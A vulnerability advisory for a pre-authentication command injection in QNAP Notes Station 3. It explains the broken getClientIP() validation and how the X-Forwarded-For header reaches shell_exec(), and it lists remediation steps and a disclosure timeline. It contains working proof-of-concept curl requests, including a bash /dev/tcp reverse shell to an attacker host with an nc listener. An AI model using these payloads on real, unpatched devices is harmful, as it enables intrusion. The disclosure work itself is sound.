QNAP Notes Station 3: Pre-Auth Remote Code Execution
Summary
Any QNAP NAS with Notes Station 3 installed is vulnerable to pre-authenticated remote code execution. No credentials, cookies, or user interaction are required. The vulnerable endpoint is part of the two-factor / security-email flow, and the injection sink is a shell_exec() call whose IP-validation helper is structurally broken: it computes a sanitized value, then returns the raw input instead.
A separate advisory (qnap-nas-2) covers the post-RCE chain from www-data in the container to admin on the host.
Affected Product
| Field | Value |
|---|---|
| Device | QNAP TS-453E |
| Firmware | QTS 5.2.9.3410 |
| Plugin | Notes Station 3, v3.9.10 |
| Vendor | QNAP Systems, Inc. |
CVSS v3.1: 9.8 (Critical) · AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Root Cause
Entry Point
The vulnerable endpoint is /ns/api/v2/user/send_security_mail, part of Notes Station 3’s two-factor / security-email flow. It requires no session token, cookie, or prior authentication.
The controller method accepts user-supplied username and password, applies a weak regex to $username, and calls container_send_security_mail():
public function send_security_mail(Request $request) {
$username = $request->input('username', null);
$password = $request->input('password', null);
$filterInput = preg_match("/[\*\+\?\.\$%`|;:<>\"']+$/", $username);
if ($filterInput === 1) {
return $this->api_return(null, 103, 401);
}
// ...
$login_send_security_mail_ret = $this->container_send_security_mail($username, $password);
The regex uses an end-anchor (/[...]+$/) and only blocks special characters at the end of the string, trivially bypassed by appending any benign trailing character. The primary attack path does not depend on $username, but this is worth fixing.
Injection Point
In container_send_security_mail(), the attacker-controlled X-Forwarded-For header is interpolated directly into a shell command and passed to shell_exec():
protected function container_send_security_mail($username, $password) {
$port = Config::get('app.internal_port');
$nas_ip = Config::get('app.nas_ip');
$loginURL = "http://$nas_ip:$port/cgi-bin/authLogin.cgi"
. "?user=".rawurlencode($username)
. "&serviceKey=1&pwd=".rawurlencode(base64_encode($password))
. "&send_mail=1&force_to_check_2sv=1";
$cmd = '/usr/bin/curl -s -L -k -H \'X-Forwarded-For:'
. $this->getClientIP()
. '\''
. ' --url '.escapeshellarg($loginURL);
$login_result = shell_exec($cmd); // attacker input executes here
}
escapeshellarg() is applied to $loginURL but not to the X-Forwarded-For value.
Why Validation Fails
getClientIP() reads HTTP_X_FORWARDED_FOR, validates it with filter_var, and is supposed to return either the sanitized address or the safe literal '0.0.0.0'. The final return statement is wrong:
public function getClientIP()
{
// ... read $realip from HTTP_X_FORWARDED_FOR ...
$verify_ip = filter_var($realip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4);
if ($verify_ip) {
return $verify_ip;
}
$verify_ip = filter_var($realip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6);
if ($verify_ip) {
return $verify_ip;
}
$verify_ip = '0.0.0.0';
return $realip; // BUG: returns unchecked $realip, not $verify_ip
}
The fallback value is computed and then discarded. When both IPv4 and IPv6 validation fail, the function returns the raw attacker-controlled string, which is then concatenated into the shell command.
Triggering Execution
A payload in the X-Forwarded-For header closes the quoted argument, runs an arbitrary command, and reopens a quote to keep curl syntactically valid:
X-Forwarded-For: 127.0.0.1'; <COMMAND>; echo '
The resulting $cmd:
/usr/bin/curl -s -L -k -H 'X-Forwarded-For: 127.0.0.1'; <COMMAND>; echo '' --url '...'
Proof of Concept
Verify command execution (blind write)
NAS_IP=192.168.X.X
curl --path-as-is -i -s -k \
-X POST \
-H "Host: ${NAS_IP}:8080" \
-H "X-Requested-With: XMLHttpRequest" \
-H "X-Forwarded-For: 127.0.0.1'; whoami > /tmp/rl_poc.txt; echo '" \
-H "Accept: application/json, text/plain, */*" \
-H "Referer: http://${NAS_IP}:8080/ns/" \
-d "username=aaa&password=bbbb" \
"http://${NAS_IP}:8080/ns/api/v2/user/send_security_mail"
Confirm from the host:
[admin@NAS ~]$ system-docker ps
[admin@NAS ~]$ system-docker exec -it <CID> sh
/ # cat /tmp/rl_poc.txt
www-data
Reverse shell
# attacker
nc -lvnp 4444
LHOST=<ATTACKER_IP>
LPORT=4444
curl --path-as-is -i -s -k \
-X POST \
-H "Host: ${NAS_IP}:8080" \
-H "X-Forwarded-For: 127.0.0.1'; bash -c 'bash -i >& /dev/tcp/${LHOST}/${LPORT} 0>&1' & echo '" \
-d "username=aaa&password=bbbb" \
"http://${NAS_IP}:8080/ns/api/v2/user/send_security_mail"
Expected on the listener:
connect to [<ATTACKER_IP>] from (UNKNOWN) [<NAS_IP>] XXXXX
www-data@<container>:/var/www/NotesStation3/public$
Remediation
- Return
$verify_ipfromgetClientIP()so the sanitized fallback is actually used. - Wrap
$this->getClientIP()inescapeshellarg()before interpolating into$cmd. - Drop the
$end-anchor on the$usernameregex and validate the whole string. Better, validate against an explicit allowlist.
Disclosure Timeline
- 2026-03-29: Case opened with QNAP PSIRT
- 2026-03-31: Case assigned by QNAP PSIRT
- 2026-04-15: Patched and CVE assigned
- 2026-04-20: Follow-up
- 2026-05-08: Follow-up
- 2026-05-17: Public advisory
CVE: CVE-2026-34007
Related
- qnap-nas-2: Container privilege escalation and host escape chained from this primitive.
- The QNAP Pattern: Architectural background and platform-level critique of the bug class behind this advisory.